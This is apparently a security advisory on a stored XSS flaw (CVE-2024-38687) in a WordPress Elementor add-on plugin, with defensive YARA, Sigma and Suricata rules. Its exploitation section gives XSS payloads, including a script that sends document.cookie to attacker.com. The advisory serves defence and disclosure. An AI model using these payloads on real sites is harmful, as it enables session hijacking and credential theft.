CVE-2024-38687

Executive Summary

CVE-2024-38687 is a stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Sky Addons for Elementor by Wowdevs, affecting versions up to and including 2.5.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into Elementor widget outputs. When an administrator or other user views a page containing the malicious widget, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available. This report provides a comprehensive technical analysis, detection rules, and mitigation guidance.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

• The plugin is installed directly from the WordPress dashboard or via wp-admin/plugin-install.php.
• No signed updates or integrity checks are enforced by default.
• The vendor (Wowdevs) has not released a patched version, leaving all installations of version 2.5.5 and below exposed.
• Organizations should inventory all WordPress sites using this plugin and apply virtual patching or disable the plugin until a fix is available.

CVSS Breakdown & Threat Level

Threat Level: Medium. Exploitation requires an authenticated user with contributor-level access, but the impact can be severe if an administrator is targeted. The lack of a patch increases the risk for unmanaged installations.

Deep Dive & Mechanics

The vulnerability exists in the sky-elementor-addons plugin, specifically in how it handles user input for Elementor widget attributes. Elementor widgets often accept dynamic data (e.g., titles, descriptions, URLs) that are rendered on the frontend. The plugin fails to sanitize or escape this input before outputting it in the HTML context, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates or edits a page/post using Elementor.
2. The attacker adds a Sky Addons widget (e.g., a testimonial carousel, advanced heading, or custom list).
3. In a text field (e.g., "Title", "Description", "Link URL"), the attacker injects a payload like: <img src=x onerror=alert('XSS')> or <script>alert(document.cookie)</script>.
4. The plugin stores the payload in the WordPress database without proper sanitization.
5. When an administrator or any user views the page, the payload executes in their browser.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to apply esc_html() / esc_attr() to user-controlled data before rendering. The wp_kses_post function allows certain HTML tags, but does not prevent JavaScript event handlers (e.g., onerror, onload).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (sky-elementor-addons/includes/widgets/class-sky-heading.php):

public function render() {
    $settings = $this->get_settings_for_display();
    $title = $settings['title'];
    echo '<h2 class="sky-heading">' . $title . '</h2>';
}

Patched Code (hypothetical):

public function render() {
    $settings = $this->get_settings_for_display();
    $title = esc_html( $settings['title'] );
    echo '<h2 class="sky-heading">' . $title . '</h2>';
}

The fix uses esc_html() to encode special characters, preventing HTML injection. Alternatively, wp_kses_post with a restrictive allowlist could be used, but esc_html is safer for plain text fields.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Sky Addons for Elementor <= 2.5.5.
• An authenticated user account with at least "Contributor" role.
• Elementor page builder active.

Step-by-Step Exploitation:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New and click Edit with Elementor.
3. Search for "Sky Addons" widgets and drag one (e.g., "Sky Heading") onto the canvas.
4. In the widget settings, locate the "Title" field and enter the following payload:

   <img src=x onerror=alert('XSS_CVE_2024_38687')>
   

5. Publish or save the page.
6. As an administrator, visit the published page. The JavaScript alert will execute.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for unusual widget content (e.g., <script> tags in post meta).
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or Elementor endpoints.
• Enable Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the plugin until a patch is released.
• Restrict contributor-level users from using Elementor (if possible).
• Apply virtual patching via WAF rules (e.g., ModSecurity rule to block onerror, onload, <script> in Elementor fields).

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified or new posts/pages containing <script> tags or event handlers in Elementor widget data.
• Suspicious entries in wp_postmeta table with _elementor_data meta key containing JavaScript.

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g., GET /steal?cookie=...).
• Referer headers pointing to /wp-admin/post.php?post=...&action=elementor.

Log IOCs:

• WordPress debug log entries showing wp_kses_post failures or unexpected HTML.
• Web server access logs with POST requests to /wp-admin/admin-ajax.php containing action=elementor_ajax and payload strings.

Detection Engineering

YARA Rule

rule CVE_2024_38687_Sky_Addons_XSS {
    meta:
        description = "Detects stored XSS payloads in Sky Addons for Elementor widget data"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-38687"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /onclick\s*=\s*["']?[^"'\s>]+/i
        $xss5 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: CVE-2024-38687 - Stored XSS in Sky Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress post content or Elementor widget data
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'elementor_ajax'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in Elementor (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-38687 - Stored XSS Payload in Sky Addons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin on all WordPress sites until a patched version is released.
2. Audit existing content for injected scripts using the YARA rule above.
3. Reset all user sessions if any compromise is suspected.

Long-Term Fixes:

• The vendor must release a patched version (>= 2.5.6) that properly escapes output using esc_html(), esc_attr(), or wp_kses_post() with a strict allowlist.
• Implement a Web Application Firewall (WAF) rule to block XSS patterns in Elementor widget fields.
• Enforce Content Security Policy (CSP) headers: default-src 'self'; script-src 'self' 'unsafe-inline' (note: unsafe-inline weakens security but may be needed for Elementor; consider using nonces instead).

Workarounds:

• Use a security plugin like Wordfence to add virtual patching.
• Restrict Elementor usage to trusted administrators only.

Valters IT
DevSecOps & Cyber Threat Intelligence